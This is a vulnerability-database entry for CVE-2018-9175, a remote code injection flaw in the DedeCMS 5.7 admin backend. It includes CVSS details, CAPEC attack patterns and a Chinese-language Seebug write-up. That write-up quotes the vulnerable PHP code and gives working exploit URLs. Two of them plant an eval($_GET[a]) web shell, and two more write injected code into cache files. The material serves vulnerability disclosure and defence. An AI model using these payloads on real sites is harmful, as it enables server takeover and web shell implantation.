Vulnerabilities > CVE-2018-9175 - Code Injection vulnerability in Dedecms 5.7

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
dedecms
CWE-94

Summary

DedeCMS 5.7 allows remote attackers to execute arbitrary PHP code via the egroup parameter to uploads/dede/stepselect_main.php because code within the database is accessible to uploads/dede/sys_cache_up.php.

Vulnerable Configurations

Part Description Count
Application
Dedecms
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Seebug

bulletinFamilyexploit
description第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell。 漏洞代码在:`/dede/sys_verifies.php` 代码如下: ``` else if ($action == 'getfiles') { if(!isset($refiles)) { ShowMsg("你没进行任何操作!","sys_verifies.php"); exit(); } $cacheFiles = DEDEDATA.'/modifytmp.inc'; $fp = fopen($cacheFiles, 'w'); fwrite($fp, '<'.'?php'."\r\n"); fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n"); $dirs = array(); $i = -1; $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__)); foreach($refiles as $filename) { $filename = substr($filename,3,strlen($filename)-3); if(preg_match("#^dede/#i", $filename)) { $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) ); } else { $curdir = GetDirName($filename); } if( !isset($dirs[$curdir]) ) { $dirs[$curdir] = TestIsFileDir($curdir); } $i++; fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); } fwrite($fp, '$fileConut = '.$i.';'."\r\n"); fwrite($fp, '?'.'>'); fclose($fp); $dirinfos = ''; if($i > -1) { $dirinfos = '<tr bgcolor="#ffffff"><td colspan="2">'; $dirinfos .= "本次升级需要在下面文件夹写入更新文件,请注意文件夹是否有写入权限:<br />\r\n"; foreach($dirs as $curdir) { $dirinfos .= $curdir['name']." 状态:".($curdir['writeable'] ? "[√正常]" : "<font color='red'>[×不可写]</font>")."<br />\r\n"; } $dirinfos .= "</td></tr>\r\n"; } $doneStr = "<iframe name='stafrm' src='sys_verifies.php?action=down&curfile=0' frameborder='0' id='stafrm' width='100%' height='100%'></iframe>\r\n"; include(DEDEADMIN.'/templets/sys_verifies_getfiles.htm'); exit(); } ``` 从这段代码里,可以得知会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。 全局搜索了下这个文件,发现就在同一个php文件的下面,因此利用条件就全部齐了,可以开始构造写入的语句了。 观察逻辑,代码会先从url中获取一个refiles参数,并且refiles作为数组参数,被写入inc文件。而紧接的foreach语句其实重点就只是一个replace,只要绕过去就好了。最后的payload大概如下: ``` http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();// ``` 此时写入shell成功,触发shell: ``` http://localhost/dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo(); ``` 第二个的思路比第一个稍微绕一点,但也只是绕的有限。 漏洞代码在`/dede/sys_cache_up.php`处 36行处: ``` else if($step == 2) { include_once(DEDEINC."/enums.func.php"); WriteEnumsCache(); //WriteAreaCache(); 已过期 ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc"); exit(); } ``` 跟进`WrtieEnumsCache()`: ``` function WriteEnumsCache($egroup='') { global $dsql; $egroups = array(); if($egroup=='') { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup "); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup "); } $dsql->Execute('enum'); while($nrow = $dsql->GetArray('enum')) { $egroups[] = $nrow['egroup']; } foreach($egroups as $egroup) { $cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; $fp = fopen($cachefile,'w'); fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n"); $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC "); $dsql->Execute('enum'); $issign = -1; $tenum = false; //三级联动标识 while($nrow = $dsql->GetArray('enum')) { fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n"); if($issign==-1) $issign = $nrow['issign']; if($nrow['issign']==2) $tenum = true; } if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; "); fwrite($fp,'?'.'>'); fclose($fp); if(empty($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!'; } ``` 可以看到有文件读写操作,但是文件内容是从数据库取值的,因此需要先往数据库里写入内容,同时,因为没有任何过滤,因此操作难度降低了许多。找到的写数据库的位置在: `dede/stepselect_main.php`: ``` else if($action=='addenum_save') { if(empty($ename) || empty($egroup)) { Showmsg("类别名称或组名称不能为空!","-1"); exit(); } if($issign == 1 || $topvalue == 0) $enames = explode(',', $ename); foreach($enames as $ename){ $arr = $dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup='$egroup' AND (evalue MOD 500)=0 ORDER BY disorder DESC "); if(!is_array($arr)) $disorder = $evalue = ($issign==1 ? 1 : 500); else $disorder = $evalue = $arr['disorder'] + ($issign==1 ? 1 : 500); $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "); } echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "; die(); WriteEnumsCache($egroup); ShowMsg("成功添加枚举分类!".$dsql->GetError(), $ENV_GOBACK_URL); exit(); } ``` 因此传入如下url: ``` http://localhost/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1 ``` 然后被写入了数据库,此时直接查询,便可以写入文件,写文件url如下: ``` http://localhost/dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok ```
idSSV:97210
last seen2018-04-04
modified2018-04-03
published2018-04-03
reporterRoot
titleDedecms V5.7后台的两处getshell(CVE-2018-9175)